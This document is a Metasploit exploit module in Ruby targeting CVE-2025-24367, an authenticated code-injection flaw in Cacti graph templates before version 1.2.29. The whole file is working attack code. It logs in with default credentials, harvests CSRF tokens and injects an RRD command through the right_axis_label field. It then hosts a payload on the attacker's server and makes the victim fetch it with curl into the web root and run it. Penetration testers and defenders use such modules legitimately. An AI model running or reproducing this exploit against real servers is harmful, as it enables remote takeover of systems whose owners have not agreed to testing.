## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper include Msf::Exploit::Cacti prepend Msf::Exploit::Remote::AutoCheck class CactiError < StandardError; end class CactiNotFoundError < CactiError; end class CactiVersionNotFoundError < CactiError; end class CactiNoAccessError < CactiError; end class CactiCsrfNotFoundError < CactiError; end class CactiLoginError < CactiError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29', 'Description' => %q{ This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29. Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server. The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload. The initial payload downloads the full payload using curl from the attacker's server and saves it to the web root of the cacti server before executing. }, 'License' => MSF_LICENSE, 'Author' => [ 'chutchut', # Original discovery 'Jack Heysel' # Metasploit module ], 'References' => [ [ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'], [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'], [ 'CVE', '2025-24367'], ], 'Privileged' => false, 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_CMD, ARCH_PHP], 'Platform' => [ 'unix', 'linux', 'php' ], # The graph template id 226 corresponds to "Linux - Logged on users" 'TemplateId' => 226 } ], [ 'Windows', { 'Arch' => [ARCH_CMD, ARCH_PHP], 'Platform' => [ 'win', 'php' ], # The graph template id 197 corresponds to "Host MIB - Logged in Users" 'TemplateId' => 197 } ] ], 'DefaultOptions' => { 'WfsDelay' => 600 }, 'DisclosureDate' => '2025-01-27', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']), OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']), ] ) end def check print_status('Checking Cacti version') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? html = res.get_html_document begin @cacti_version = parse_version(html) version_msg = "The web server is running Cacti version #{@cacti_version}" rescue CactiNotFoundError => e return CheckCode::Safe(e.message) rescue CactiVersionNotFoundError => e return CheckCode::Unknown(e.message) end if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29') print_good(version_msg) else return CheckCode::Safe(version_msg) end @csrf_token = parse_csrf_token(html) return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? begin do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token) rescue CactiError => e return CheckCode::Unknown("Login failed: #{e}") end @logged_in = true CheckCode::Vulnerable end def csrf_magic_token template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s) res = send_request_cgi({ 'uri' => template_url, 'method' => 'GET', 'keep_cookies' => true }) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}") end csrf_magic_token = nil magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text if magic_script_tag magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/ csrf_magic_token = Regexp.last_match(1) end fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil? csrf_magic_token end def generate_right_axis_label(command, php_filename) <<~LABEL XXX create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200 graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out: LABEL end def send_template_update(csrf_magic, right_axis_label) data = { '__csrf_magic' => csrf_magic, 'name' => 'Host MIB - Logged in Users', 'graph_template_id' => target['TemplateId'], 'graph_template_graph_id' => target['TemplateId'], 'save_component_template' => '1', 'title' => '|host_description| - Logged in Users', 'vertical_label' => 'percent', 'image_format_id' => '3', 'height' => '200', 'width' => '700', 'base_value' => '1000', 'slope_mode' => 'on', 'auto_scale' => 'on', 'auto_scale_opts' => '2', 'auto_scale_rigid' => 'on', 'upper_limit' => '100', 'lower_limit' => '0', 'right_axis_label' => right_axis_label, 'action' => 'save' } update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false') res = send_request_cgi!({ 'uri' => update_url, 'method' => 'POST', 'keep_cookies' => true, 'data' => URI.encode_www_form(data) }) print_status("Template update response: HTTP #{res.code}") if res end def trigger_template trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700') res = send_request_cgi({ 'uri' => trigger_url, 'method' => 'GET', 'keep_cookies' => true }) print_status("Trigger template update response: HTTP #{res.code}") if res end def upload_stage(upload_payload_command) csrf_magic = csrf_magic_token php_filename = "#{Rex::Text.rand_text_alpha(1)}.php" register_file_for_cleanup(php_filename) right_axis_label = generate_right_axis_label(upload_payload_command, php_filename) send_template_update(csrf_magic, right_axis_label) trigger_template php_payload_check = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/#{php_filename}"), 'method' => 'GET', 'keep_cookies' => true }) if php_payload_check && php_payload_check.code == 200 print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}") else fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}") end end def execute_stage(execute_payload_command) csrf_magic = csrf_magic_token php_filename = "#{Rex::Text.rand_text_alpha(1)}.php" register_file_for_cleanup(php_filename) right_axis_label = generate_right_axis_label(execute_payload_command, php_filename) send_template_update(csrf_magic, right_axis_label) trigger_template send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/#{php_filename}"), 'method' => 'GET', 'keep_cookies' => true }) end def on_request_uri(cli, request) print_status("Request '#{request.method} #{request.uri}'") print_status('Sending payload ...') send_response(cli, payload.encoded, 'Content-Type' => 'application/octet-stream') end def authenticate if @csrf_token.blank? || @cacti_version.blank? res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil? html = res.get_html_document if @csrf_token.blank? print_status('Getting the CSRF token to login') @csrf_token = parse_csrf_token(html) fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty? vprint_good("CSRF token: #{@csrf_token}") end if @cacti_version.blank? print_status('Getting the version') begin @cacti_version = parse_version(html) vprint_good("Version: #{@cacti_version}") rescue CactiError => e print_error("Could not get the version, the exploit might fail: #{e}") end end end unless @logged_in begin do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token) rescue CactiError => e fail_with(Failure::NoAccess, "Login failure: #{e}") end end end def validate_configuration! if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end if Rex::Socket.is_ipv6?(datastore['SRVHOST']) fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.') end end def exploit validate_configuration! authenticate hosted_payload_name = Rex::Text.rand_text_alpha_lower(1) start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false) if payload.arch.first == ARCH_CMD if target.name == 'Windows' on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat" execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}" else on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1) execute_payload_command = "sh\\x20#{on_disk_payload_name}" end else on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php" execute_payload_command = "php\\x20#{on_disk_payload_name}" end vprint_status("Payload execution command: #{execute_payload_command}") # upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}" fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47 upload_stage(upload_payload_command) execute_stage(execute_payload_command) end end